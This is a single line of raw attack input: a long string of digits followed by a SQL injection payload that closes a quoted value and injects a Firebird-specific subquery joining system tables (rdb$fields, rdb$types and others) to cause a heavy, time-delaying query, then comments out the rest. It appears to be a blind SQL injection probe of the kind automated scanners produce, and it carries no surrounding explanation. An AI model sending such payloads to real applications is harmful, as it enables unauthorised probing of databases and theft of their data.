222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222999999999999999999999999999999999999999999991'|| ( select 'xyrk' from dual where 9844 = 9844 and 9254 =  ( select count ( * )  from rdb$fields as t1,rdb$types as t2,rdb$collations as t3,rdb$functions as t4 ) --